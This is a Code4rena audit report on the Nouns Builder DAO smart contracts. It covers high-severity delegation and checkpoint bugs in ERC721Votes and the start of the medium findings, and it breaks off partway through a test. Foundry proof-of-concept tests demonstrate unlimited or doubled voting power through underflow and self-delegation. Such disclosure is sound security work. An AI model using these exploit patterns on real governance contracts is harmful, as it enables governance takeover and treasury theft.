Nouns Builder contest
Findings & Analysis Report
2022-11-03
Table of contents
- Summary
- Scope
- Severity Criteria
-
- [H-01] User can get unlimited votes
- [H-02] ERC721Votes’s delegation disables NFT transfers and burning
- [H-03] Multiple vote checkpoints per block will lead to incorrect vote accounting
- [H-04]
ERC721Votes
: Token owners can double voting power through self delegation - [H-05]
_transferFrom()
can be used to indefinitely increase voting power
-
- [M-01] Quorum votes have no effect for determining whether proposal is defeated or succeeded when token supply is low
- [M-02] Highest bid in first auction can get irretrievably stuck in the protocol
- [M-03]
Token:mint
: infinite loop if the founders’ shares sum up to 100 - [M-04] Founders can receive less tokens that expected
- [M-05] A proposal can be cancelled by anyone if the proposal has exactly proposalThreshold votes
- [M-06] Proposals can be bricked and Auctions stalled by bad settings
- [M-07] NFT owner can block token burning and transfer by delegating to zero address
- [M-08] Delegation should not be allowed to address(0)
- [M-09] Index out of bounds error when properties length is more than attributes length breaks minting
- [M-10] The quorum votes calculations don’t take into account burned tokens
- [M-11] Loss of Veto Power can Lead to 51% Attack
- [M-12] Try-catch block at
Auction._createAuction()
will only catch string errors - [M-13] Compromised or malicious vetoer can veto any proposals with unrestricted power
- [M-14] Creating a new governance proposal can be prevented by anyone
- [M-15] Malicious pausing the contract
- [M-16] Auction parameters can be changed during ongoing auction
- [M-17] A proposal can pass with 0 votes in favor at early DAO stages
- [M-18] Precision is not enough for
proposalThreshold
and quorum. Collections with at least 20000 NFTs in total supply may have some trouble. - [M-19]
Governor
- Quorum could be less than intended - [M-20] Attackers can increase voting power by incentivizing
- [M-21] Truncation in casting can lead to a founder receiving all the base tokens
- [M-22] Owners receive more percentage of total nft if some nfts were burned(because were not sold)
- [M-23] Changing treasury owner through
transferOwnership()
can breakGoverner.sol
andAuction.sol
- [M-24] Token: Founder percentages not always respected
- [M-25] MetadataRenderer contract raise error when minting
- [M-26] Minting is not possible when a property has no items
- [M-27] Tokens without properties can be minted and cannot be rendered
- [M-28] State function does not require majority of votes for supporting and passing a proposal
-
- Summary
- G-01
storage
pointer to a structure is cheaper than copying each value of the structure intomemory
, same forarray
andmapping
(5 instances) - G-02 State variables can be packed into fewer storage slots (1 instances)
- G-03 State variables should be cached in stack variables rather than re-reading them from storage (5 instances)
- G-04 Using bools for storage incurs overhead (5 instances)
- G-05 Storage variable is used when local exists (2 instances)
- G-06 Use named returns where appropriate (3 instances)
- Overall Gas Saved
- Disclosures
Overview
About C4
Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.
A C4 audit contest is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.
During the audit contest outlined in this document, C4 conducted an analysis of the Nouns Builder smart contract system written in Solidity. The audit contest took place between September 6—September 15 2022.
Wardens
176 Wardens contributed reports to the Nouns Builder contest:
- hyh
- rvierdiiev
- Chom
- scaraven
- Jeiwan
- PwnPatrol (obront and throttle)
- davidbrai
- 0xA5DF
- Tomo
- Migue
- V_B (Barichek and vlad_bochok)
- Ch_301
- rbserver
- Lambda
- Soosh
- CertoraInc (egjlmn1, OriDabush, ItayG, shakedwinder, and RoiEvenHaim)
- Picodes
- arcoun
- Solimander
- pauliax
- berndartmueller
- ayeslick
- R2
- bin2chen
- pfapostol
- cccz
- csanuragjain
- m9800
- __141345__
- MiloTruck
- MEP
- izhuer
- ladboy233
- imare
- zkhorse (karmacoma and horsefacts)
- pashov
- 0xSmartContract
- 0xSky
- pcarranzav
- sorrynotsorry
- 0x52
- 0x4non
- Deivitto
- dipp
- azephiar
- hxzy
- Aymen0909
- volky
- Tointer
- cryptphi
- joestakey
- simon135
- rotcivegaf
- saian
- elprofesor
- zzzitron
- indijanc
- pedr02b2
- yixxas
- TomJ
- datapunk
- elad
- fatherOfBlocks
- GimelSec (rayn and sces60107)
- hansfriese
- _Adam
- 0x1f8b
- 0xc0ffEE
- CodingNameKiki
- c3phas
- ak1
- ChristianKuri
- brgltd
- gogo
- tonisives
- peritoflores
- ReyAdmirado
- ElKu
- Rolezn
- leosathya
- oyc_109
- RaymondFam
- djxploit
- Waze
- martin
- robee
- Respx
- asutorufos
- Bnke0x0
- ch0bu
- PPrieditis
- bulej93
- ret2basic
- ballx
- lucacez
- sikorico
- Samatak
- Franfran
- PaludoX0
- dharma09
- wagmi
- eierina
- 0xNazgul
- LeoS
- chatch
- d3e4
- neumo
- minhtrng
- 0x1337
- B2
- erictee
- ne0n
- 8olidity
- jonatascm
- 0x85102
- sahar
- EthLedger
- lukris02
- cryptostellar5
- Jujic
- sach1r0
- bharg4v
- Captainkay
- cryptonue
- JansenC
- slowmoses
- tnevler
- bobirichman
- cloudjunky
- Diana
- Funen
- 0xbepresent
- a12jmx
- delfin454000
- DimitarDimitrov
- MasterCookie
- Noah3o6
- p_crypt0
- CRYP70
- dic0de
- Lead_Belly
- Randyyy
- SnowMan
- antonttc
- easy_peasy
- Saintcode_
- JAGADESH
- immeas
- DimSon
- WatchDogs
- rfa
- JC
- Matin
- tofunmi
- gianganhnguyen
- prasantgupta52
- StevenL
- durianSausage
- Cr4ckM3
- Metatron
- 0xkatana
- Chandr
- zishansami
- 0x5rings
- peiw
- ajtra
- teawaterwire
- unforgiven
This contest was judged by Alex the Entreprenerd.
Final report assembled by liveactionllama.
Summary
The C4 analysis yielded an aggregated total of 33 unique vulnerabilities. Of these vulnerabilities, 5 received a risk rating in the category of HIGH severity and 28 received a risk rating in the category of MEDIUM severity. Per Nouns Builder, all of these HIGH and MEDIUM severity findings have been addressed as of this commit.
Additionally, C4 analysis included 124 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 75 reports recommending gas optimizations.
All of the issues presented here are linked back to their original finding.
Scope
The code under review can be found within the C4 Nouns Builder contest repository, and is composed of 46 smart contracts written in the Solidity programming language and includes 4,046 lines of Solidity code.
Severity Criteria
C4 assesses the severity of disclosed vulnerabilities according to a methodology based on OWASP standards.
Vulnerabilities are divided into three primary risk categories: high, medium, and low/non-critical.
High-level considerations for vulnerabilities span the following key areas when conducting assessments:
- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use
Further information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website.
High Risk Findings (5)
[H-01] User can get unlimited votes
Submitted by saian, also found by 0x4non, Ch_301, davidbrai, izhuer, MEP, Picodes, PwnPatrol, R2, rotcivegaf, scaraven, and Soosh
aftertokenTransfer
in ERC721Votes transfers votes between user addresses instead of the delegated addresses, so a user can cause overflow in _moveDelegates
and get unlimited votes.
Proof of Concept
function _afterTokenTransfer(
address _from,
address _to,
uint256 _tokenId
) internal override {
// Transfer 1 vote from the sender to the recipient
_moveDelegateVotes(_from, _to, 1);
super._afterTokenTransfer(_from, _to, _tokenId);
}
_moveDelegateVotes(prevDelegate, _to, balanceOf(_from));
...
unchecked {
...
// Update their voting weight
_writeCheckpoint(_from, nCheckpoints, prevTotalVotes, prevTotalVotes - _amount);
}
During delegation balanceOf(from)
amount of votes transferred are to the _to
address
function test_UserCanGetUnlimitedVotes() public {
vm.prank(founder);
auction.unpause();
vm.prank(bidder1);
auction.createBid{ value: 1 ether }(2);
vm.warp(10 minutes + 1 seconds);
auction.settleCurrentAndCreateNewAuction();
assertEq(token.ownerOf(2), bidder1);
console.log(token.getVotes(bidder1)); // 1
console.log(token.delegates(bidder1)); // 0 bidder1
vm.prank(bidder1);
token.delegate(bidder2);
console.log(token.getVotes(bidder1)); // 1
console.log(token.getVotes(bidder2)); // 1
vm.prank(bidder1);
auction.createBid{value: 1 ether}(3);
vm.warp(22 minutes);
auction.settleCurrentAndCreateNewAuction();
assertEq(token.ownerOf(3), bidder1);
console.log(token.balanceOf(bidder1)); // 2
console.log(token.getVotes(bidder1)); // 2
console.log(token.getVotes(bidder2)); // 1
vm.prank(bidder1);
token.delegate(bidder1);
console.log(token.getVotes(bidder1)); // 4
console.log(token.getVotes(bidder2)); // 6277101735386680763835789423207666416102355444464034512895
}
When user1 delegates to another address balanceOf(user1)
amount of tokens are subtraced from user2’s votes, this will cause underflow and not revert since the statements are unchecked
Tools Used
Foundry
Recommended Mitigation Steps
Change delegate transfer in afterTokenTransfer
to
_moveDelegateVotes(delegates(_from), delegates(_to), 1);
Alex the Entreprenerd (judge) increased severity to High and commented:
The warden has shown how to exploit:
- An unchecked section of the code
- An incorrect logic in moving tokenDelegation
To trigger an underflow that gives each user the maximum voting power.
While some setup is necessary (having 1 token), I think the exploit is impactful enough to warrant High Severity, as any attacker will be able to obtain infinite voting power on multiple accounts.
In contrast to other reports, this finding (as well as it’s duplicates) are using an unchecked operation to negatively overflow the amount of votes to gain the maximum value.
tbtstl (Nouns Builder) confirmed
[H-02] ERC721Votes’s delegation disables NFT transfers and burning
Submitted by hyh
If Alice the NFT owner first delegates her votes to herself, second delegates to anyone else with delegate() or delegateBySig() then all her NFT ids will become stuck: their transfers and burning will be disabled.
The issue is _afterTokenTransfer() callback running the _moveDelegateVotes() with an owner instead of her delegate. As Alice’s votes in the checkpoint is zero after she delegated them, the subtraction _moveDelegateVotes() tries to perform during the move of the votes will be reverted.
As ERC721Votes is parent to Token and delegate is a kind of common and frequent operation, the impact is governance token moves being frozen in a variety of use cases, which interferes with governance voting process and can be critical for the project.
Proof of Concept
Suppose Alice delegated all her votes to herself and then decided to delegate them to someone else with either delegate() or delegateBySig() calling _delegate():
function _delegate(address _from, address _to) internal {
// Get the previous delegate
address prevDelegate = delegation[_from];
// Store the new delegate
delegation[_from] = _to;
emit DelegateChanged(_from, prevDelegate, _to);
// Transfer voting weight from the previous delegate to the new delegate
_moveDelegateVotes(prevDelegate, _to, balanceOf(_from));
}
_moveDelegateVotes() will set her votes to 0
as _from == Alice
and prevTotalVotes = _amount = balanceOf(Alice)
(as _afterTokenTransfer() incremented Alice’s vote balance on each mint to her):
function _moveDelegateVotes(
address _from,
address _to,
uint256 _amount
) internal {
unchecked {
// If voting weight is being transferred:
if (_from != _to && _amount > 0) {
// If this isn't a token mint:
if (_from != address(0)) {
// Get the sender's number of checkpoints
uint256 nCheckpoints = numCheckpoints[_from]++;
// Used to store the sender's previous voting weight
uint256 prevTotalVotes;
// If this isn't the sender's first checkpoint: Get their previous voting weight
if (nCheckpoints != 0) prevTotalVotes = checkpoints[_from][nCheckpoints - 1].votes;
// Update their voting weight
_writeCheckpoint(_from, nCheckpoints, prevTotalVotes, prevTotalVotes - _amount);
}
After that her votes in the checkpoint become zero. She will not be able to transfer the NFT as _afterTokenTransfer
will revert on _moveDelegateVotes
’s attempt to move 1
vote from Alice
to _to
, while checkpoints[Alice][nCheckpoints - 1].votes
is 0
:
function _afterTokenTransfer(
address _from,
address _to,
uint256 _tokenId
) internal override {
// Transfer 1 vote from the sender to the recipient
_moveDelegateVotes(_from, _to, 1);
Recommended Mitigation Steps
The root issue is _afterTokenTransfer() dealing with Alice instead of Alice’s delegate.
Consider including delegates() call as a fix:
function _afterTokenTransfer(
address _from,
address _to,
uint256 _tokenId
) internal override {
// Transfer 1 vote from the sender to the recipient
- _moveDelegateVotes(_from, _to, 1);
+ _moveDelegateVotes(delegates(_from), delegates(_to), 1);
As delegates(address(0)) == address(0)
the burning/minting flow will persist:
/// @notice The delegate for an account
/// @param _account The account address
function delegates(address _account) external view returns (address) {
address current = delegation[_account];
return current == address(0) ? _account : current;
}
tbtstl (Nouns Builder) confirmed
Alex the Entreprenerd (judge) commented:
The Warden has shown how, due to the overlapping system handling delegation and balances, it is possible for a user to brick their own
transferability
of their tokens.This POC shows that any delegation will cause the issues as when dealing with a transfer, their currently zero-vote-balance will further be deducted instead of the delegated votes they have.
Because the finding shows a broken invariant, in that any delegation will brick transfers, as the invariants offered by ERC721Votes have been broken; I believe High Severity to be appropriate.
[H-03] Multiple vote checkpoints per block will lead to incorrect vote accounting
Submitted by berndartmueller, also found by 0x52, 0xSky, bin2chen, cccz, Chom, davidbrai, elprofesor, izhuer, m9800, PwnPatrol, and rvierdiiev
Voting power for each NFT owner is persisted within timestamp-dependent checkpoints. Every voting power increase or decrease is recorded. However, the implementation of ERC721Votes
creates separate checkpoints with the same timestamp for each interaction, even when the interactions happen in the same block/timestamp.
Impact
Checkpoints with the same timestamp
will cause issues within the ERC721Votes.getPastVotes(..)
function and will return incorrect votes for a given _timestamp
.
Proof of Concept
lib/token/ERC721Votes.sol#L252-L253
/// @dev Records a checkpoint
/// @param _account The account address
/// @param _id The checkpoint id
/// @param _prevTotalVotes The account's previous voting weight
/// @param _newTotalVotes The account's new voting weight
function _writeCheckpoint(
address _account,
uint256 _id,
uint256 _prevTotalVotes,
uint256 _newTotalVotes
) private {
// Get the pointer to store the checkpoint
Checkpoint storage checkpoint = checkpoints[_account][_id];
// Record the updated voting weight and current time
checkpoint.votes = uint192(_newTotalVotes);
checkpoint.timestamp = uint64(block.timestamp);
emit DelegateVotesChanged(_account, _prevTotalVotes, _newTotalVotes);
}
Consider the following example and the votes checkpoint snapshots:
Note: Bob owns a smart contract used to interact with the protocol
Transaction 0: Bob’s smart contract receives 1 NFT through minting (1 NFT equals 1 vote)
Checkpoint Index | Timestamp | Votes |
---|---|---|
0 | 0 | 1 |
Transaction 1: Bob’s smart contract receives one more NFT through minting
Checkpoint Index | Timestamp | Votes |
---|---|---|
0 | 0 | 1 |
1 | 1 | 2 |
Transaction 1: Within the same transaction 1, Bob’s smart-contract delegates 2 votes to Alice
Checkpoint Index | Timestamp | Votes |
---|---|---|
0 | 0 | 1 |
1 | 1 | 2 |
2 | 1 | 0 |
Transaction 1: Again within the same transaction 1, Bob’s smart contract decides to reverse the delegation and self-delegates
Checkpoint Index | Timestamp | Votes |
---|---|---|
0 | 0 | 1 |
1 | 1 | 2 |
2 | 1 | 0 |
3 | 1 | 2 |
Transaction 1: Bob’s smart contract buys one more NFT
Checkpoint Index | Timestamp | Votes |
---|---|---|
0 | 0 | 1 |
1 | 1 | 2 |
2 | 1 | 0 |
3 | 1 | 2 |
4 | 2 | 3 |
Bob now wants to vote (via his smart contract) on a governance proposal that has been created on timeCreated = 1
(timestamp 1).
Internally, the Governor._castVote
function determines the voter’s weight by calling getVotes(_voter, proposal.timeCreated)
.
governance/governor/Governor.sol#L275
weight = getVotes(_voter, proposal.timeCreated);
getVotes
calls ERC721.getPastVotes
internally:
governance/governor/Governor.sol#L462
function getVotes(address _account, uint256 _timestamp) public view returns (uint256) {
return settings.token.getPastVotes(_account, _timestamp);
}
ERC721.getPastVotes(..., 1)
tries to find the checkpoint within the while
loop:
# Iteration | low |
middle |
high |
---|---|---|---|
0 | 0 | 2 | 4 |
The middle
checkpoint with index 2
matches the given timestamp 1
and returns 0
votes. This is incorrect, as Bob has 2 votes. Bob is not able to vote properly.
(Please be aware that this is just one of many examples of how this issue can lead to incorrect vote accounting. In other cases, NFT owners could have more voting power than they are entitled to)
Recommended mitigation steps
Consider batching multiple checkpoints writes per block/timestamp similar to how NounsDAO records checkpoints.
Alex the Entreprenerd (judge) commented:
The Warden has shown how the checkpoint math can be gamed, opening up governance to flashloan exploits, infinite voting power and overall breaking all of governance quorum and execution thresholds.
Because any attacker can spam create checkpoints, to manipulate the result of the Binary Search, they can manipulate their balance to make the Governor think it’s way higher than intended.
Mitigation requires ensuring that the only balance recorded for a block is the latest value (end of flashloan so the balance goes back down).
Because the finding breaks accounting, allowing governance takeover, and the invariants of ERC721Votes are broken (votes are not what they are), I agree with High Severity.
kulkarohan (Nouns Builder) confirmed
[H-04] ERC721Votes
: Token owners can double voting power through self delegation
Submitted by zkhorse, also found by berndartmueller, Ch_301, hxzy, hyh, MEP, pcarranzav, pfapostol, Picodes, and Solimander
The owner of one or many ERC721Votes
tokens can double their voting power once (and only once) by delegating to their own address as their first delegation.
Scenario
This exploit relies on the initial default value of the delegation
mapping in ERC721Votes
, which is why it will only work once per address.
First, the token owner must call delegate
or delegateBySig
, passing their own address as the delegate:
/// @notice Delegates votes to an account
/// @param _to The address delegating votes to
function delegate(address _to) external {
_delegate(msg.sender, _to);
}
This calls into the internal _delegate
function, with _from
and _to
both set to the token owner’s address:
/// @dev Updates delegate addresses
/// @param _from The address delegating votes from
/// @param _to The address delegating votes to
function _delegate(address _from, address _to) internal {
// Get the previous delegate
address prevDelegate = delegation[_from];
// Store the new delegate
delegation[_from] = _to;
emit DelegateChanged(_from, prevDelegate, _to);
// Transfer voting weight from the previous delegate to the new delegate
_moveDelegateVotes(prevDelegate, _to, balanceOf(_from));
}
Since this is the token owner’s first delegation, the delegation
mapping does not contain a value for the _from
address, and prevDelegate
on L#181 will be set to address(0)
:
// Get the previous delegate
address prevDelegate = delegation[_from];
This function then calls into _moveDelegateVotes
to transfer voting power. This time, _from
is prevDelegate
, equal to address(0)
; _to
is the token owner’s address; and _amount
is balanceOf(_from)
, the token owner’s current balance:
ERC721Votes#_moveDelegateVotes
/// @dev Transfers voting weight
/// @param _from The address delegating votes from
/// @param _to The address delegating votes to
/// @param _amount The number of votes delegating
function _moveDelegateVotes(
address _from,
address _to,
uint256 _amount
) internal {
unchecked {
// If voting weight is being transferred:
if (_from != _to && _amount > 0) {
// If this isn't a token mint:
if (_from != address(0)) {
// Get the sender's number of checkpoints
uint256 nCheckpoints = numCheckpoints[_from]++;
// Used to store the sender's previous voting weight
uint256 prevTotalVotes;
// If this isn't the sender's first checkpoint: Get their previous voting weight
if (nCheckpoints != 0) prevTotalVotes = checkpoints[_from][nCheckpoints - 1].votes;
// Update their voting weight
_writeCheckpoint(_from, nCheckpoints, prevTotalVotes, prevTotalVotes - _amount);
}
// If this isn't a token burn:
if (_to != address(0)) {
// Get the recipients's number of checkpoints
uint256 nCheckpoints = numCheckpoints[_to]++;
// Used to store the recipient's previous voting weight
uint256 prevTotalVotes;
// If this isn't the recipient's first checkpoint: Get their previous voting weight
if (nCheckpoints != 0) prevTotalVotes = checkpoints[_to][nCheckpoints - 1].votes;
// Update their voting weight
_writeCheckpoint(_to, nCheckpoints, prevTotalVotes, prevTotalVotes + _amount);
}
}
}
}
The if
condition on L#203 is true
, since _from
is address(0)
, _to
is the owner address, and _amount
is nonzero:
// If voting weight is being transferred:
if (_from != _to && _amount > 0) {
Execution skips the if
block on L#205-217, since _from
is address(0)
:
// If this isn't a token mint:
if (_from != address(0)) {
// Get the sender's number of checkpoints
uint256 nCheckpoints = numCheckpoints[_from]++;
// Used to store the sender's previous voting weight
uint256 prevTotalVotes;
// If this isn't the sender's first checkpoint: Get their previous voting weight
if (nCheckpoints != 0) prevTotalVotes = checkpoints[_from][nCheckpoints - 1].votes;
// Update their voting weight
_writeCheckpoint(_from, nCheckpoints, prevTotalVotes, prevTotalVotes - _amount);
}
However, the if
block on L#220-232 will execute and increase the voting power allocated to _to
:
// If this isn't a token burn:
if (_to != address(0)) {
// Get the recipients's number of checkpoints
uint256 nCheckpoints = numCheckpoints[_to]++;
// Used to store the recipient's previous voting weight
uint256 prevTotalVotes;
// If this isn't the recipient's first checkpoint: Get their previous voting weight
if (nCheckpoints != 0) prevTotalVotes = checkpoints[_to][nCheckpoints - 1].votes;
// Update their voting weight
_writeCheckpoint(_to, nCheckpoints, prevTotalVotes, prevTotalVotes + _amount);
}
The token owner’s voting power has now been increased by an amount equal to their total number of tokens, without an offsetting decrease.
This exploit only works once: if a token owner subsequently delegates to themselves after their initial self delegation, prevDelegate
will be set to a non-default value in _delegate
, and the delegation logic will work as intended.
Impact
Malicious ERC21Votes
owners can accrue more voting power than they deserve. Especially malicious owners may quietly acquire multiple tokens before doubling their voting power. In an early DAO with a small supply of tokens, the impact of this exploit could be significant.
Recommended Mitigation Steps
Make the delegates
function public
rather than external
:
/// @notice The delegate for an account
/// @param _account The account address
function delegates(address _account) public view returns (address) {
address current = delegation[_account];
return current == address(0) ? _account : current;
}
Then, call this function rather than accessing the delegation
mapping directly:
/// @dev Updates delegate addresses
/// @param _from The address delegating votes from
/// @param _to The address delegating votes to
function _delegate(address _from, address _to) internal {
// Get the previous delegate
address prevDelegate = delegates(_from);
// Store the new delegate
delegation[_from] = _to;
emit DelegateChanged(_from, prevDelegate, _to);
// Transfer voting weight from the previous delegate to the new delegate
_moveDelegateVotes(prevDelegate, _to, balanceOf(_from));
}
Note that the original NounsDAO contracts follow this pattern. (See here and here).
Test cases
(Put the following test cases in Gov.t.sol
)
function test_delegate_to_self_doubles_voting_power() public {
mintVoter1();
assertEq(token.getVotes(address(voter1)), 1);
vm.startPrank(voter1);
token.delegate(address(voter1));
assertEq(token.getVotes(address(voter1)), 2);
}
function mintToken(uint256 tokenId) internal {
vm.prank(voter1);
auction.createBid{ value: 0.420 ether }(tokenId);
vm.warp(block.timestamp + auctionParams.duration + 1 seconds);
auction.settleCurrentAndCreateNewAuction();
}
function test_delegate_to_self_multiple_tokens_doubles_voting_power() public {
// An especially malicious user may acquire multiple tokens
// before doubling their voting power through this exploit.
mintVoter1();
mintToken(3);
mintToken(4);
mintToken(5);
mintToken(6);
assertEq(token.getVotes(address(voter1)), 5);
vm.prank(voter1);
token.delegate(address(voter1));
assertEq(token.getVotes(address(voter1)), 10);
}
Alex the Entreprenerd (judge) commented:
The warden has shown how, because of an incorrect assumption in reducing a non-existing previous delegate votes, through self-delegation, a user can double their voting power.
Because the finding shows how the delegation system is broken, and because governance is a core aspect (Secure funds, move funds, etc..) I agree with High Severity.
Due to multiple reports of this type, with various different attacks, mitigation is non-trivial.
kulkarohan (Nouns Builder) confirmed
Alex the Entreprenerd (judge) commented:
In contrast to the dangerous overflow, this finding (and its duplicates) has shown how the Delegation Mechanism can be used to double the voting power.
For that reason, the underlying issue being different, am choosing to leave this finding separate.
[H-05] _transferFrom()
can be used to indefinitely increase voting power
Submitted by Soosh, also found by Ch_301, davidbrai, and PwnPatrol
It is possible to indefinitely increase voting power by creating new accounts (addresses) and delegating. This will lead to unfair governance as a user can vote with more votes than actual.
Explanation
The _transferFrom()
does not move delegates from the src’s delegates to the destination’s delegates, instead, it moves directly from src to dest. (see recommendations and Code POC for better understanding)
Code POC
// Insert this test case into Token.t.sol
// Run: forge test --match-contract Token -vv
import "forge-std/console.sol";
...
function testIncreaseVotePower() public {
deployMock();
address voter1;
address voter2;
uint256 voter1PK;
uint256 voter2PK;
// Voter with 1 NFT voting power
voter1PK = 0xABC;
voter1 = vm.addr(voter1PK);
vm.deal(voter1, 1 ether);
// Second account created by same voter
voter2PK = 0xABD;
voter2 = vm.addr(voter2PK);
// Giving voter1 their 1 NFT
vm.prank(founder);
auction.unpause();
vm.prank(voter1);
auction.createBid{ value: 0.420 ether }(2);
vm.warp(auctionParams.duration + 1 seconds);
auction.settleCurrentAndCreateNewAuction();
// Start Exploit
console.log("Initial Votes");
console.log("voter1: ", token.getVotes(voter1));
console.log("voter2: ", token.getVotes(voter2));
vm.prank(voter1);
token.delegate(voter2);
console.log("After Delegating Votes, voter1 -> delegate(voter2)");
console.log("voter1: ", token.getVotes(voter1));
console.log("voter2: ", token.getVotes(voter2));
vm.prank(voter1);
token.transferFrom(voter1, voter2, 2);
console.log("After Token transfer, voter1 -transferFrom()-> voter2");
console.log("voter1 votes: ", token.getVotes(voter1));
console.log("voter2 votes: ", token.getVotes(voter2));
vm.prank(voter2);
token.delegate(voter2);
console.log("After Delegating Votes, voter2 -> delegate(voter2)");
console.log("voter1: ", token.getVotes(voter1));
console.log("voter2: ", token.getVotes(voter2));
}
Expected Output:
[PASS] testVoteDoublePower() (gas: 3544946)
Logs:
Initial Votes
voter1: 1
voter2: 0
After Delegating Votes, voter1 -> delegate(voter2)
voter1: 1
voter2: 1
After Token transfer, voter1 -transferFrom()-> voter2
voter1 votes: 0
voter2 votes: 2
After Delegating Votes, voter2 -> delegate(voter2)
voter1: 0
voter2: 3
Recommended Mitigation Steps
Looking at OpenZeppelin’s ERC721Votes which I believe the team took reference from, it states:
* Tokens do not count as votes until they are delegated, because votes must be tracked which incurs an additional cost
* on every transfer. Token holders can either delegate to a trusted representative who will decide how to make use of
* the votes in governance decisions, or they can delegate to themselves to be their own representative.
The current implementation does not follow this, and tokens count as votes without being delegated. To fix this issue, votes should only be counted when delegated.
- I believe the issue is here on this line
// Transfer 1 vote from the sender to the recipient
_moveDelegateVotes(_from, _to, 1);
Where it should move from the delegate of _from
to the delegate of _to
. Suggested FIx:
_moveDelegateVotes(delegation[_from], delegation[_to], 1);
iainnash (Nouns Builder) confirmed and commented:
Would agree w/ High risk.
Alex the Entreprenerd (judge) commented:
The Warden has shown how, due to an incorrect handling of delegation, a Token Holder can delegate their voting power without losing it, allowing for an exploit that allows them to reach infinite voting power.
I believe that some of the problems with Delegation shown via this contest can be traced down to this quote from the OZ Documentation
Tokens do not count as votes until they are delegated, because votes must be tracked which incurs an additional cost on every transfer. Token holders can either delegate to a trusted representative who will decide how to make use of the votes in governance decisions, or they can delegate to themselves to be their own representative.
Remediation of this specific issue can be done by following the warden advice, and using the Test Case to verify the exploit has been patched, additionally, further thinking into how delegation should behave will be necessary to ensure the system is patched to safety
Alex the Entreprenerd (judge) commented:
In contrast to issue 469 (Unsafe Underflow) and issue 413 (Self Delegation for doubling of votes), this report is showing how, due to an incorrect accounting, a user can repeatedly transfer and delegate to achieve infinite voting power.
While the outcome of all 3 is increased voting power, I believe the uniqueness of the attack is in exploiting a different aspect of the code.
Remediation should account for all 3 exploits, and I believe, because of the uniqueness of the attack, that this is a distinct report vs the previously mentioned.
Medium Risk Findings (28)
[M-01] Quorum votes have no effect for determining whether proposal is defeated or succeeded when token supply is low
Submitted by rbserver, also found by cccz, dipp, joestakey, pashov, and R2
At the early stage of the deployed DAO, it is possible that the following quorum
function returns 0 because the token supply is low.
function quorum() public view returns (uint256) {
unchecked {
return (settings.token.totalSupply() * settings.quorumThresholdBps) / 10_000;
}
}
When calling the following propose
function, proposal.quorumVotes = uint32(quorum())
is executed. If quorum()
returns 0, proposal.quorumVotes
is set to 0.
function propose(
address[] memory _targets,
uint256[] memory _values,
bytes[] memory _calldatas,
string memory _description
) external returns (bytes32) {
// Get the current proposal threshold
uint256 currentProposalThreshold = proposalThreshold();
// Cannot realistically underflow and `getVotes` would revert
unchecked {
// Ensure the caller's voting weight is greater than or equal to the threshold
if (getVotes(msg.sender, block.timestamp - 1) < proposalThreshold()) revert BELOW_PROPOSAL_THRESHOLD();
}
// Cache the number of targets
uint256 numTargets = _targets.length;
// Ensure at least one target exists
if (numTargets == 0) revert PROPOSAL_TARGET_MISSING();
// Ensure the number of targets matches the number of values and calldata
if (numTargets != _values.length) revert PROPOSAL_LENGTH_MISMATCH();
if (numTargets != _calldatas.length) revert PROPOSAL_LENGTH_MISMATCH();
// Compute the description hash
bytes32 descriptionHash = keccak256(bytes(_description));
// Compute the proposal id
bytes32 proposalId = hashProposal(_targets, _values, _calldatas, descriptionHash);
// Get the pointer to store the proposal
Proposal storage proposal = proposals[proposalId];
// Ensure the proposal doesn't already exist
if (proposal.voteStart != 0) revert PROPOSAL_EXISTS(proposalId);
// Used to store the snapshot and deadline
uint256 snapshot;
uint256 deadline;
// Cannot realistically overflow
unchecked {
// Compute the snapshot and deadline
snapshot = block.timestamp + settings.votingDelay;
deadline = snapshot + settings.votingPeriod;
}
// Store the proposal data
proposal.voteStart = uint32(snapshot);
proposal.voteEnd = uint32(deadline);
proposal.proposalThreshold = uint32(currentProposalThreshold);
proposal.quorumVotes = uint32(quorum());
proposal.proposer = msg.sender;
proposal.timeCreated = uint32(block.timestamp);
emit ProposalCreated(proposalId, _targets, _values, _calldatas, _description, descriptionHash, proposal);
return proposalId;
}
When determining the proposal’s state, the following state
function is called, which can execute else if (proposal.forVotes < proposal.againstVotes || proposal.forVotes < proposal.quorumVotes) { return ProposalState.Defeated; }
. If proposal.quorumVotes
is 0, the proposal.forVotes < proposal.quorumVotes
condition would always be false
. Essentially, quorum votes have no effect at all for determining whether the proposal is defeated or succeeded when the token supply is low. Hence, critical proposals, such as for updating implementations or withdrawing funds from the treasury, that should not be passed if there are effective quorum votes for which the for votes fail to reach can be passed, or vice versa, so the impact can be huge.
function state(bytes32 _proposalId) public view returns (ProposalState) {
// Get a copy of the proposal
Proposal memory proposal = proposals[_proposalId];
// Ensure the proposal exists
if (proposal.voteStart == 0) revert PROPOSAL_DOES_NOT_EXIST();
// If the proposal was executed:
if (proposal.executed) {
return ProposalState.Executed;
// Else if the proposal was canceled:
} else if (proposal.canceled) {
return ProposalState.Canceled;
// Else if the proposal was vetoed:
} else if (proposal.vetoed) {
return ProposalState.Vetoed;
// Else if voting has not started:
} else if (block.timestamp < proposal.voteStart) {
return ProposalState.Pending;
// Else if voting has not ended:
} else if (block.timestamp < proposal.voteEnd) {
return ProposalState.Active;
// Else if the proposal failed (outvoted OR didn't reach quorum):
} else if (proposal.forVotes < proposal.againstVotes || proposal.forVotes < proposal.quorumVotes) {
return ProposalState.Defeated;
// Else if the proposal has not been queued:
} else if (settings.treasury.timestamp(_proposalId) == 0) {
return ProposalState.Succeeded;
// Else if the proposal can no longer be executed:
} else if (settings.treasury.isExpired(_proposalId)) {
return ProposalState.Expired;
// Else the proposal is queued
} else {
return ProposalState.Queued;
}
}
Proof of Concept
Please append the following test in test\Gov.t.sol
. This test will pass to demonstrate the described scenario.
function test_QueueProposalWithZeroQuorumVotes() public {
mintVoter1();
(address[] memory targets, uint256[] memory values, bytes[] memory calldatas) = mockProposal();
bytes32 descriptionHash = keccak256(bytes("test"));
vm.warp(1 days);
// token supply is only 4 at this moment
assertEq(token.totalSupply(), 4);
// the calculated quorum votes is 0 because the token supply is low
assertEq((token.totalSupply() * governor.quorumThresholdBps()) / 10_000, 0);
// voter1 creates the proposal
vm.prank(voter1);
governor.propose(targets, values, calldatas, "test");
bytes32 proposalId = governor.hashProposal(targets, values, calldatas, descriptionHash);
vm.warp(block.timestamp + governor.votingDelay());
